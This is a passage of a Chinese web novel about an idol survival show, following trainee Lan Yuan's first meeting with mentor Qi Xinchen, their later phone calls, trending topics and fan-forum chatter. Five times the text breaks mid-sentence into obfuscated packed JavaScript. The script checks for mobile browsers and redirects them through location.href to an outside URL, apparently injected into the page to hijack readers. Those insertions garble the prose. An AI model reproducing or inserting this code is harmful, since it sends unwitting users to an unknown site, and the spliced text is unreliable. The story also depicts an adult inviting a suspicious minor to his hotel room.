节目组放假的时间和法定假日是一致的,于是正式开始录制的时间安排在了正月初九,而前一天的正月初八,练习生们就得到达并签名。 但正月初八的晚上,他们还不会正式入住节目安排的宿舍,而是都被安排在录制地旁边的酒店住。 蓝鸢是下午的航班,到的时候恰恰好是晚饭时间。能预期到的是节目组不会给他们提供这顿饭,于是他拖着旅行箱,拐进了录制地附近的一家餐厅,准备先吃晚饭再去报道。 但没想到的是,等吃完饭走出餐厅,外面居然已经下起了雨。 餐厅老板说伞已经借给了有急事先走的客人,周边也没有卖伞的地方,于是蓝鸢打算在门口等等看,想着说不定过会会停。 但冬天的雨确实没有那么容易停。等了一会,雨势完全没有消失的迹象,于是蓝鸢叹了口气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437671|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提着自己的箱子,脑子里规划了一遍在地图里看过的、到达目的地的最短线路,而后就冲进了雨中。 只是就算能在路上跑,也终究会被某些东西拦住,比如出现在必经之路上的红绿灯。 蓝鸢停在了一个路口,等待对面的红灯结束。四周并没有商铺,于是也自然没有暂时躲雨的地方,他眨了眨眼,微微低头,试图不让雨水掉进眼睛里。 直到……上方传来滴滴答答的声音。 蓝鸢抬起头,一把透明的雨伞在自己头顶上打开。他又转过身,替他打伞的是一个陌生的长黑发戴眼镜的年轻人。 ……但也不是真的很陌生。 说陌生只是因为他们客观意义上的不认识,但蓝鸢知道这是谁。 选秀开始之前,导师组的传闻就早已遍地都是,蓝鸢记得所有出现在传闻中的人的长相,自然也能认出祁心忱,即使他在大多数图片影像里都是短发,也不怎么戴眼镜。 “我这里只有一把伞,可以给你,但我就住在背后那个酒店,”祁心忱开口说,又指了指身后的高楼,“不介意的话,可以先去我那里换一身干净衣服再走。” 蓝鸢……非常不明所以。 他见过自来熟的,没见过这么自来熟的。祁心忱说话的语气,就像是他们已经认识了一段时间,而不是在街上随便遇到的陌生人。 “你知道我是谁吗?”但这位是明天初舞台坐在下面给自己打分的导师,蓝鸢也不能直接说一句“神经病”就走,于是他眨了眨眼,装作很疑惑地问。 “蓝鸢,为你心动3的参赛练习生,”结果没想到的是,祁心忱还真的报出了他的名字,“看起来你也认识我,我是祁心忱,明天开始当你们的vocal导师——此外,如果我不知道的话,为什么要把伞给你呢。” 祁心忱这话说得很理所当然,理所当然到让蓝鸢心中升腾起了一种诡异的感觉。只是不知道为何,蓝鸢那会像是直觉般没觉得这人是什么坏人,这种直觉战胜了若有若无的诡异感,于是他点了点头,同意了对方的提议,接着就跟着祁心忱上了楼。 而直到在对方的建议下,他抱着准备换的干净衣服进了浴室,蓝鸢心中的“不对劲”感才逐渐开始压过“安全直觉”。 ——就算是导师……哪有人会第一眼见到人就往自己房间里邀请啊?这真的正常吗?而且自己为什么莫名其妙就跟着走了啊?你珍贵的警惕性呢? 蓝鸢在心中对自己进行了一个死亡四连问。 23. 初见 直到从浴室走出来,蓝鸢也没有得到这几个问题的答案。 接着他抬起头,看到祁心忱坐在床边,对着他招了招手上的吹风机:“需要帮你吹头发吗?” “……不需要,谢谢您。”蓝鸢说,神色变得有些小心翼翼了起来,“我自己吹就可以。” ——如果说刚刚他只是觉得诡异,现在就有百分之八九十的把握,觉得这个祁心忱确实不怀好心。 “我又不会把你怎么样,不要这么紧张,”祁心忱歪了歪脑袋,看着他笑了笑,又说,“这件风衣还挺好看的,很搭配你本人。” 大概是心理作用,这话蓝鸢也越听越不对劲。他此刻回忆起来觉得有点幽默,但当时脑子里刚好想起之前看的这人的同性恋传闻,最后摇了摇头,来了一句:“……祁老师,你知道我还没成年吗?” “我知道啊,我不仅知道你还没成年,还知道你生日和我只差一天,”祁心忱还在笑,比刚刚笑得更开心,“真不需要吗,你头发已经在滴水了哦。” “祁老师,”蓝鸢深吸一口气,然后向着他伸出手,“您还是把吹风给我吧。” 祁心忱抬了抬眼,也没再说什么,而是把吹风机递了过来。蓝鸢于是开始吹头发,在吹风机的轰鸣声间隙中,仿佛听见了陌生的手机铃声。 他抬头,透过眼前半干不干的发丝,看见祁心忱在接电话……这个吹风机的功率很高,一直到他快吹干,放下吹风机的时候,祁心忱还是没有挂电话。 蓝鸢听见祁心忱喊电话对面的人“知知”——听上去应该是他那个叫顾洛知的前队友,那个……明明靠着做票在决赛夜排名高过祁心忱、但仍然没被这人记恨上的前队友。 不仅没记恨,听祁心忱打电话时轻松的语气,他们关系应该很不错,比外界传闻中的更好。蓝鸢想,并将其作为情报默默记了下来。 又过了几十秒,祁心忱挂了电话。蓝鸢这才抬起头,问了一句:“你是怎么知道我生日的?” “我是导师啊,肯定看了所有选手的个人信息表的,”祁心忱用一种很理所当然的语气说,“生日差一天这么巧,记得很正常吧?” 正常吗?蓝鸢想。那可是101个人,差一天算特别,但“一天”之前加上“四年”,说起来也没有那么特别吧。 如果差一天算特殊,那同天也算特殊。这么多人的话,差不多有过半概率,会有人和祁心忱生日时间差小于两天,蓝鸢在心中默默计算。这并不是很稀有的情况。 不过……蓝鸢又想,自己在个人信息表上填的是一个假生日。 蓝鸢的生日是3月4号,但在表上填的是3月2号——原因也没什么特别的,就是在选秀中,练习生生日一般都会有一些庆祝活动,出道之后也可能有庆祝活动或者生日会。 蓝鸢不想庆祝生日,也不想在生日打额外的工,所以随便编了一个日子。“偶像蓝鸢”和蓝鸢的生日不同,本来也合情合理。 而之所以只偏离两天……一方面是因为他这个“将要成年的未成年”身份很微妙,编太远了不合适,会很难解释;另一方面、也是更重要的原因是,他当时面试抽到的签号是32,蓝鸢觉得这多少是个会带来幸运的数。 所以等通过面试后,蓝鸢找到工作人员,撒谎说自己证件上的3月4号是有问题的,实际上生日是2号,希望能过真的生日。娱乐圈改明面生日的人太多了,没人会想着求证,于是他这个信息表也改得很轻松。 当然不幸的是……事到如今,蓝鸢发现32并不是什么幸运的数,因为他做梦都想无痛拆掉的和宁郁寒的cp数字代号就是32,而蓝鸢早上看论坛的时候,居然发现有人把这个当糖嗑,宁郁寒的生日是9月9号,于是cp粉开始复读3299。 虽然很快被各路对家cp粉反驳了,说什么“美帝姐又在嗑血糖了”“知道美帝姐不想小圆C了”“老三自己都能99不需要小圆”之类的。 最后一句说得倒确实是对的,非常凑巧。蓝鸢想,宁郁寒有的是恋爱在谈。 只是在和祁心忱初见的那天,蓝鸢无法确定他的生日是1号还是3号,也就无法确定这个“差一天”是真是假——这人比自己大四岁都是他无意间记住的,蓝鸢根本没关注过生日这种信息。 但至少,虽然有点怀疑,蓝鸢当时也只是怀疑自己有什么特别之处让祁心忱产生了兴趣,并没有怀疑“在个人信息表看到了生日”这个说辞——事实上,这也不完全是假话,因为祁心忱确实看过所有人的个人信息表。 “对了,”在蓝鸢思索的间隙,祁心忱又出声,并对着他招了招手,“你过来一下。” 蓝鸢于是走到他面前。下一刻。他感觉自己的脸颊被捏了一下,于是他盯着祁心忱伸出的手,默不作声。 “怎么一点防备心都没有,”祁心忱偏了偏头问,“我都做好你攻击我、然后应该怎么躲开的行动预案了。” 蓝鸢还是看着他,不说话。只是心里想着在对方的地盘上不适合说出口的“你是不是有病”。 “你是不是有病?我猜你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437672|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在想这个,”没想到祁心忱有本事直接点中他的心声——这说明这人还是很有自知之明的,“所以作为冒犯到你的道歉,送你一袋小饼干吧。” 蓝鸢愣了愣,第一次心想这人真是想一出是一出,但还是伸手接过了饼干。 毕竟小饼干是无辜的。他想,小饼干们跟在祁心忱这种人身边,不如跟在自己身边。 “你吃一个看看?”没想到祁心忱又说,接着像是看到了他疑问的眼神,解释道,“没有下毒,我要害你有的是办法……你那是什么眼神,好吓人——这个是我自己做的,所以想听听看repo。” “这样还算道歉吗?”蓝鸢直直地盯着他,终于把这句话问了出来。 “这是另外的价格,”祁心忱笑,“作为提供repo的报酬,在接下来你参加节目的几个月里,可以对我提一个我能力范围内的任何形式的要求,我会无条件答应你。” 蓝鸢不解,蓝鸢疑惑,蓝鸢真不知道这人在想什么了。 但是话这么说了……那吃一口也不亏,就算是黑暗料理,换导师的“答应一个要求”的承诺也不亏。 他如此想着,打开袋子,随便挑了一块有点紫的塞进嘴里——意料之中,是蓝莓味的,意料之外,还……真不是黑暗料理。 相反,小饼干很好吃,口感很有层次,味道也甜得恰到好处,非常符合蓝鸢的甜度审美。他本来想的是无论好不好吃都阴阳怪气一下口味,但真吃到后……蓝鸢发现自己并不忍心对着小饼干说谎。 于是他最终选择了实话实说。 “你喜欢就好。”祁心忱眨了眨眼,“如果感兴趣的话,以后可以教你做呢。” “……这个倒不需要,”蓝鸢垂眸,“那太麻烦您了。” 可千万别什么“以后”。蓝鸢心想。 这个莫名其妙的“以后”,让他心中的危机感更甚了一分——蓝鸢终于非常肯定地意识到,自己已经是被祁心忱盯上了,无论对方出于什么目的或原因。 可能是觉得他唱歌好,可能是觉得他好看,可能是感兴趣他的履历,蓝鸢说不准,但也不想问……在这个问题上追问同样让他觉得有些危险。 他们明天就开始封闭录制。所以……录完之后绝对、绝对不能和这个危险分子产生任何后续交集。蓝鸢只是暗暗下定决心。 * “当然有效呀。”而现实中,电话那边祁心忱的声音,将蓝鸢从短暂的回忆中带了回来,“等你高考后,什么时候有空就行,我时间很灵活的。” 24. 公寓与热搜 “那太好了。”蓝鸢说,并同时思考怎么绕开这个话题,防止后续引发出一些类似于“什么时候说过”的讨论。 “对了,我现在是在和知知,还有两个Link的朋友吃饭,”只是他还没想好,祁心忱先开口了,“那两个朋友有空也给你介绍一下。” “哦……好的。”蓝鸢顿了顿,无意识回答道,接着才反应过来,“是不是不能说太久呀。” “还好,才上了两道菜,”祁心忱说,“还有什么想问的吗?” 其实没有了。蓝鸢想。 本来早上那会想着要问好些话,但蓝鸢这时候又突然不想问了——一方面是怕又问出什么让自己尴尬或者社死的故事,另一方面是,他怎么都听不出祁心忱话中有不开心或者额外的暗示,于是就算彻底放心了下来。 “你的答辩怎样了呀。”于是蓝鸢没有再说自己的事,转头关心了一下对方的学业。 “挺顺利的……我们是主要看毕设作品的,所以答辩其实不太会出问题,”祁心忱解释道,接着像是突然想起来了一般,“对了,我们下月中旬开毕设展,对外开放的,要来看吗?我看你们日程安排有空闲时间。” “方便吗?”蓝鸢一听就来了兴趣,加上时间又在高考后,于是当即超光速同意,“我要来的。” “当然方便呀。”祁心忱说,声音听上去挺开心的,“毕设展的意义不就是让大家邀请家人朋友一起来看吗?” 祁心忱他们学校、蓝鸢准备考的学校、曾经Dreams的宿舍以及现在Butterfly的宿舍,都在同一座城市,走动还算方便,只要有半天空余时间就能去,所以蓝鸢没怎么细致核对日程,便答应了这件事。 至于今晚的颁奖礼……也就在隔壁市举行,所以祁心忱才能在其中快速折返。 只是…… 蓝鸢突然想到,祁心忱之前常驻在这座城市一方面是因为Dreams的残缺团活,另一方面是上学的缘故。等他下月毕业之后,好像就没什么继续留在这里的理由了。 临路总部、祁心忱家和蓝鸢自己家都在另一座城市,到这里也不算太远,大概四小时高铁,但蓝鸢估计自己接下来两三年都不太有很多时间回家。 当然他也不想回家。 虽然和哥哥曾经并非全无感情,但自从这人染上各种恶习之后,带给他的麻烦已经远远超过了那点幼年时期残存下来的爱。蓝鸢说是帮他还债,实际上在心中还的是十几年的照顾和养育。 再多的情感都会被这种乱七八糟的现状消磨殆尽,况且蓝鸢自认为不是一个情感泛滥的人。等帮对方把剩下的钱还完,他就准备和他哥彻底断绝关系、再不往来了。 父母留下来的房子早被卖掉了,蓝鸢和哥哥最近几年都是租房住。等他和哥哥彻底无关的那天,估计只有“找祁心忱”这一个能让自己回那个生活了十八年的城市的理由了,蓝鸢心想。 “……对了,我突然又想起来一个问题,”他想到这里,犹豫了片刻,用一种不那么直接的方式问,“你不是快毕业了吗,你那套房子还续租吗?” Dreams解散之后,祁心忱在学校附近租了套小公寓,这事他和蓝鸢闲聊时提到过,说是他们一周不刷宿舍的门禁就有宿管打电话问,他感觉比较麻烦,加上Dreams的宿舍到学校也不远,所以出道之后干脆退了学校的宿舍。 后来Dreams的宿舍被回收,还有大半年毕业,这时候再申请学校宿舍也有点奇怪。祁心忱想着有时要开直播、或者需要记录临时的写歌灵感,有个固定的地方比较方便,加上不想和新室友磨合,所以干脆在学校附近租了房子。 “性格和作息不说,”祁心忱如是说,“遇上个对爱豆有偏见的室友就好玩了。” 蓝鸢听他这么一说,想了想那个场面,觉得多少有些恐怖。 “怎么问这个呀,”而当下这会,祁心忱没有直接回答,而是反问了一句,“是你想接手吗?” 蓝鸢愣了愣,发出了一声无意义的单音节。而祁心忱在那边笑了起来:“但你还没有看过我的房子长什么样呢。” “那……”蓝鸢想说“那我可以来看看吗”,但还没说出来,祁心忱就又继续说话了。 “我知道你想问什么……不准备退掉,会长租的,我经纪人是本地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437673|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,而且我大多数朋友都在这里呢,”对面如是说,“我最近把对面那间也租了下来,准备改造成一个小工作间,这样无论在哪边都能写歌录歌和练舞了。” “练舞?”蓝鸢发出疑问,“你住的地方还能练舞吗?” “不激烈的应该可以,不外放音乐就还好,高强度的可以去舞室嘛,而且我那个房子在一楼……我是不是没提过?”祁心忱说到这里,又自问自答了一句,“好像是没提过,你好奇的话可以有空来玩,如果哪天不想待在宿舍也可以过来住,有两个多余的房间,可以专门给你留一个。” 蓝鸢本来没想这事,但祁心忱如此一说,他确实有点不那么想天天待在宿舍了——这个“宿舍”同时包括了Butterfly的宿舍,和他素未谋面的未来大学宿舍。 只是现在说这个为时过早……毕竟刚住进来,不能太不合群。蓝鸢心想,自己这群队友估计坚持不满一个月,就会陆陆续续有人时不时外宿,等那时候,自己再找点借口去蹭祁心忱的小公寓。 总而言之,这个电话让蓝鸢心情很好。 不过心情好也不能一直聊,祁心忱还有三个一起吃饭的朋友,蓝鸢也还有复习任务在,再说了几句后,两人便挂掉了电话。只是再重新打开复习资料前,蓝鸢又随意点了点微博热搜,接着就看到了让他瞳孔地震的词条。 那个词条的名字叫#祁心忱蓝色鸢尾#。 虽然很多人的大脑或许都很容易跳过其中的两个字,自动提取关键词,但这种格式的热搜其实也还算得上正常。 名字加上配饰的词条在每次娱乐圈聚众活动之后都很多,虽然大抵是因为卖得便宜且批发,所以许多明星工作室都会买上几条,但蓝鸢觉得这就是低成本无收益,也不知道除了粉丝谁会点。 不过这条不一样且不正常,不正常就不正常在……且不论祁心忱看上去不像会买这种废物热搜的人,真正的问题在于,蓝鸢点进去,发现他自己的微博账号,赫然也被关联进了词条之中。 同祁心忱的微博账号并列在一起,画风都显得异常和谐——当然和谐是理所应当的,毕竟都是祁心忱自己画的。 25. 控评词 上午那会,祁心忱的唯粉并没有太关注到这个耳钉,或者关注到了也不当什么事;远程cp粉也只在微博含糊其辞在论坛悄悄造谣,并无太多人在意。 但这个词条一旦和蓝鸢关联上,故事好像就突然变了味道,如此一引导,现在很多人确实开始觉得和他有关了。 而另一个不出所料的事是,既然蓝鸢被关联了进去,热搜广场上也出现了很多他自己的粉丝。 只是这会他粉丝的打架对象还主要是沈艾初和宁郁寒的粉丝,没必要节外生枝和祁心忱粉丝吵,所以广场上的发言暂时将其定性为了“可能是微博关联出现了错误”。 于是一群粉丝开始骂微博,另一群粉丝开始在广场上给蓝鸢铺宣传控评安利,蓝鸢这两天刚好处于一种“被很多人怜爱”的风评很好的状态,所以也没什么路人跳出来说粉丝左右脑互搏。 蓝鸢往下划了划,整个广场上大概有一半是祁心忱粉丝在发图和视频,有三分之一是他自己的粉丝在发图和视频,还有剩下的六分之一……正在嗑cp,说什么“看节目的时候就觉得好嗑只是当时不敢说,这个耳钉绝对没有任何不是故意的可能”。 但总之,当前的状况是一片其乐融融。蓝鸢自动忽略了那些控评词中的阴阳怪气——毕竟只要没打起来就是融洽的,自己粉丝这会腾不出手打祁心忱粉丝,而祁心忱粉丝……似乎向来不爱打架。 不论原因,没打起来就是好事,而蓝鸢也从未意识到居然还有这么多他们潜在的cp粉——礼貌性嗑一口的也被他算了进去,用来让自己更高兴一点。 接着他又想了想,决定还是得给祁心忱再发一条消息——这条微博一看就不是祁心忱本人买的,而现在这人在吃饭,可能没看到微博。 虽然并不是什么大事,他经纪人可能也已经发过消息了,但蓝鸢还是发了一条。 迟筝: 【你看微博热搜了吗】 对面的消息来得不是很快、但也不是很慢,大概过了两三分钟。 祁心忱: 【看到你消息去看了一眼,好神经的热搜啊】 【我可以发点什么吗?】 你要发什么?蓝鸢一惊。 这不是什么好热搜,但结果论来说也不是什么坏热搜……吧?虽然不知道是谁不怀好心买的还是颁奖礼批发买的,总归是不需要出来说话的。 总不能是……想跳出来撇清关系让不要乱嗑cp吧? 蓝鸢理性认为这是不可能的事,祁心忱不可能介意cp粉,他跳出来说这就是蓝鸢送的,都比跳出来说和蓝鸢无关的可能性大——但是人有时候就会容易乱想。 只不过,虽然这么想,他还是没有阻止对方。 迟筝: 【你想发什么就发呀】 【不用来问我的意见】 他发出去之后,又觉得第二句话的语气不太对,紧急撤回,在后面补了个颜文字再重新发了出去。而祁心忱只回了他一个“ok”,一分钟后,蓝鸢就收到了你的特关发送新微博的提醒。 “@祁心忱:既然如此,欢迎来欣赏为你心动第三季……” 看到的第一眼……如果不是因为特关列表只有一个人的话,他差点以为是自己关注列表其他人改名成了祁心忱的高仿号。 他点进去,不出所料,后面省略号的内容先是一大段前缀,比如双A初C一公小组第一二三公全场第一断层颜C以及各种衍生榜单人气投票的第一,跟在这段话之后的是“蓝鸢的绝美决赛夜主题曲直拍吧!”这样的文案。 最后是换行,带上热搜标题,同时发布了一个视频。 蓝鸢一愣又一愣,最后笑了出声,心想果然是祁心忱会发的东西,并决定以后有机会学习这套有意思的打法。 至于祁心忱发的这串文案,他也很熟悉,就是刚刚他粉丝在广场上刷的好几种文案版本中的一种。只是略有不熟的是带的那个视频,那不是偷的广场上粉丝带的他几个站子联合发布的多机位决赛饭拍,而是一个固定机位的直拍。 虽然固定机位,但很清晰,很近,也很稳,他们在台上更换走位的时候,镜头追随的速度非常快。蓝鸢点开评论区,热评第一条是祁心忱自己发的“cr我本人”。 祁心忱自己拍的视频,这倒是蓝鸢意料之中的事。 昨天他们跳主题曲,最后ending动作时,蓝鸢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437674|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确实看到祁心忱站在第一排举着手机——按理来说台上不太能看清观众席,只是第一排多少能蹭到舞台边缘的灯光,加之祁心忱确实很好认,单看轮廓都比他身边的一众练习生和导师漂亮。 当时蓝鸢也能猜到对方在拍自己,毕竟祁心忱对他以外的练习生很公正,很一视同仁。 只是蓝鸢那会还想着结束之后找祁心忱要视频,结果后来又是排名公布又是发生了一系列事,直接将这事忘在了脑后。 蓝鸢给这个视频点了个赞,又回了一句“感谢祁老师拍摄owo”。 接着他才关上手机,一边打开试卷一边忍不住笑了出声。 * 出道第二天上午,Butterfly的任务是拍广告。 车停在了拍摄棚旁的停车场,蓝鸢伸手戳了戳旁边的沈艾初:“可以醒了。” 沈艾初昨晚没睡够,所以现在在补觉。蓝鸢做题做到了一点才睡,但也没等到沈艾初的归来——于是今早睁开眼看到沈艾初的第一眼,这人就用一种很紧张的表情交代,说他只是跟很久不见的、刚好在这座城市的练习生时期的朋友出去吃了顿饭,接着又玩了场剧本杀。 甚至给蓝鸢展示了带时间的照片,让蓝鸢自己都开始反思了,自己几个月之前对沈艾初造成的惊吓有这么严重吗。 “啊,哦,”而此时此刻,沈艾初被戳了几下才睁开眼,有点愣愣地左右转了转头,像是在进行开机动作一样……又过了几秒才反应过来,连忙道歉,“对不起对不起。” 蓝鸢很想让他少说两句对不起,因为听着真的有点烦。只是这会车上还有工作人员,他不太好开口,只保留前半句话的话,沈艾初可能并不会完全理解他的感情色彩。 于是他最终什么都没说,和沈艾初一前一后下了车,跟在他们身后的是其他成员——蓝鸢回头看了一眼,或许是因为他们前两个下车的人带头,后面本应该走在前面的任淮对叶游示意了一下,让对方按照排名先下车。 毕竟还有一些粉丝举着摄像头对着车门,出道第二天确实需要展示一下“严格按照排名”的选秀团作风。 虽然蓝鸢觉得有点好笑……也确实笑了出来。 26. 糊学第一课 刚出道这会,拍摄行程被泄露是很正常的事,搞不好是公司主动泄露的,所以对于一下车就直直面向若干个镜头这事,没人感受到太明显的惊讶。 也没有太多的不习惯——选秀基地向来是一个站姐聚集的地方,三个多月里每天上下班路上都面对一大堆摄像头,这会还比赛时少了很多。 毕竟对大多数站子来说,三个月时间可以连续蹲守在基地,未来的很长时间不可能什么大小活动都跟着满世界跑。能出现在这里的可想而知,要么是职业站姐,要么是有钱所以不用上班、同时还要对他们的爱意相当深刻。 蓝鸢扭过头,对着那些镜头的方向抬了抬嘴角,又对着其中一个特定的方向招招手,眨了眨眼,做了个短暂的wink。而后他原地停顿几秒,又指了指前方,重新迈开步伐跟上沈艾初和工作人员。 ——蓝鸢自家的粉丝很好认,一方面是那几个站姐他这几个月三天两头见,另一方面,他家粉丝有个惯例,来线下的时候会在手上绑一根他应援色颜色的带子。 虽然蓝鸢的粉丝也在网上和别家打架,但目前那张Butterfly各家唯粉队内关系表上,他粉丝和剩下六家都还最多只是深红色,没有到黑色——起码不至于打到线下。 他们今天要拍的,是一家主营年轻人群体的服装品牌的代言广告。 这个代言是赛时就谈好的,意思就是无论哪些人出道,都是整个出道组来拍——这种提前谈的代言大概率是押宝性质,比如说公司的广告部门提前看中了一些可能出道的成员;当然也有小概率,可能对应品牌和他们出道组的运营公司有别的合作。 不过很快,蓝鸢就确定了,他们今天拍这个,应该是前一种情况。 因为……形成这一结果的流程的正当性尚且不论,负责出道组运营的是沈艾初所在的公司,而拍七个人的宣传短片时,蓝鸢发现分给自己的剧情才是整个故事的核心。 当然,如果说这点还可以解释为猜测失败但来不及改,那么他明显比其他所有人多换了几套衣服、在所有人三三两两组合的前提下拍了仅有的一大堆单人宣传图、以及在拍摄结束后额外得到了身处现场的对接人递来的名片时,蓝鸢总归还是能明白的。 原则上来说,限定团的前半年是不能接个代的——但这个代言明显是冲着自己来的,六个队友只是附带。 于是摄影师对他喊着“蓝鸢你单独来几张”的时候,蓝鸢偏了偏头,看向站在一边的沈艾初的脸——两人的目光有了短暂的交汇。 而后沈艾初匆匆低下头,避开这种直白的对视。 说到底,拿不到C位虽然是意料之中的事,从一顺之后自己人气正式进入争一行列开始,蓝鸢就时不时给自己做这样的心理建设,但……要说完全没有一点点失落,其实也不是。 毕竟他也只是刚满18岁,并不是什么成熟的、能心平气和接受所有不公平待遇的大人。 能从“不出道”的预期挣扎到第二,如果放在第一次踏入选秀基地前,蓝鸢会觉得这是一个再完美不过的结果,只是应该属于自己的名次没有拿到,他也会觉得不满,对这个节目、对辜负观众真心的资本,也对他知道在这其中并不无辜的沈艾初本人。 所以被单独喊上去的那一刻,蓝鸢无法否认的是,他确实有一种有点阴暗的、想要对沈艾初说“就算你拿到C位,很多人还是只会看到我”的冲动——只是这种冲动,最后也只变成了匆匆的目光相接。 蓝鸢知道,沈艾初避开他视线的那一刻在心虚……那这就足够了。 他如此想着,接着才对着摄影师笑了笑,说了声“好”,然后走上前去,进行他一个人的表演和拍摄。 * 这场拍摄从早上八点开始,进行到了下午两点,算是一个比较符合预期的时间。 接下来的安排是先去公司开会,然后晚上回宿舍,一起进行出道后的第一次团体直播。 至于开会之前,他们还是会先吃个午饭的——虽然也只是在公司会议室吃盒饭。 吃饭的时候,蓝鸢顺便就打开了论坛。他们昨天录的vlog在上午应该已经光速剪辑并放了出去,于是这会新成立的Butter ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437675|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' fly小组大概率正在讨论vlog内容。 蓝鸢得看看风向。 出道夜那天晚上,“糊”这个花名定好之后,他们团的团组名也跟着改了,改成了“糊了!”。 蓝鸢看着这两个字和一个感叹号,总觉得有点微妙的感觉……可能比起粉丝和队友,他和祁心忱是最清楚这个团绝对不可能糊的。 那么多素材,如果炸完都做不到黑红的话,那娱乐圈也差不多是时候可以完蛋了。 不过,点开小组,意料之中的是,首页大部分确实都是vlog,其中夹杂着少量的上午站姐的返图搬运、以及少量的微博各家唯粉打架的战场搬运。 于是蓝鸢随便挑了一个看起来发得很早、很概括性的帖子点了进去。 * 【主题】速报,糊学第一课课件已上线 主楼:有人看了吗,怎么说,等分析 3L 才上传一分钟谁看了 7L 职粉看了,lz钓鱼呢,别信 9L 我没有钓鱼 17L 拉了下进度条,来速报 宿舍三间分别是12、345、67,队长选的1 20L 啊? 23L 这是靠什么分靠什么选的别给我说是按排名 我做梦都想不到这个结果,cp应拆尽拆不说选了个最没担当的当队长是几个意思 26L 说最没担当有人就要提意见了,这个团没担当的也不止一个两个 甚至还有亲口说过不想当队长的人 30L 回复23L:简单看了看,还真不是按排名,甚至不是靠可能官方作弊的抽签 室友是自己挑的,队长是匿名投的,好震撼 34L 本来点进来之前我还想说才成立一天怎么就糊学上了,男团学这玩意也不是每个团都有资格拥有的 但是看了看这个结果感觉……嗯,你糊在这方面还是非常未来可期的 27. 垂帘听政说 39L 又认真看了一下,选宿舍这个part是这样的,2先选了1,然后6选了7,剩下三个人自动成组 42L 我还以为再怎么该是1选的怎么居然是2选的12这个组合 45L 什么叫还以为是1选的,这个只能是老二选的 真的有人觉得让艾皇选室友他会选老六以外的人吗 48L 但是12关系真的这么好,好到2愿意为了1放弃35吗 51L 不是这才出道不到两天怎么全在用数字缩写我现在除了12以外真的分不清啊 54L 好用爱用,分不清就多背两遍 57L 到底谁在觉得2可能选3,美帝姐做梦梦到的吗 但凡2有点选3的意思赛时重组宿舍那会就选了,当时不选还不够说明问题吗 60L 赛时2邀请5不邀请3也很微妙啊 而且宁愿两个人跳出来解释什么“生活习惯不和”也不愿意给美帝姐演一下,当时美帝姐跑路了不少就憋出来这么个理由,到底是什么生活习惯演都演不下去啊我真的很好奇啊你俩谁先来说说 64L 美帝姐哪里跑路不少,美帝姐都在用当时两个人的吞吞吐吐含糊其辞证明是弯恋直告白失败住一起尴尬呢 68L 好那么问题来了这俩谁弯谁直 71L 自适应弯恋直,爱谁就让谁弯方便后续大虐粉大提纯 实际我觉得是两个直男 75L 直男能和随老四物理意义走那么近? 78L 回复75L:什么意思,如果是弯的走那么近才真的有问题吧 82L 不要在我们组聊危险人物啊他家粉丝真的会全论坛全花名高强度搜索的 84L 所以问题来了,既然都说到赛期换宿舍了那么老二赛期要从126的宿舍搬出去和5住然而赛后还是选了1当室友 请问老二是讨厌5还是讨厌6,这个二选一总没问题吧 87L 就不能是生活习惯不和? 89L 好了你们这么说美帝姐又要嗑到了为什么有些人是住一起才发现生活习惯不和,有些人是不住一起就知道生活习惯不和 93L 并非如此 实际上可能只是老三生活习惯太烂了而已 97L 所以到底谁在说cp应拆尽拆啊我寻思着嗑12的也不少啊 100L 时代变了,现在嗑12已经会被圆丝暗杀了 103L 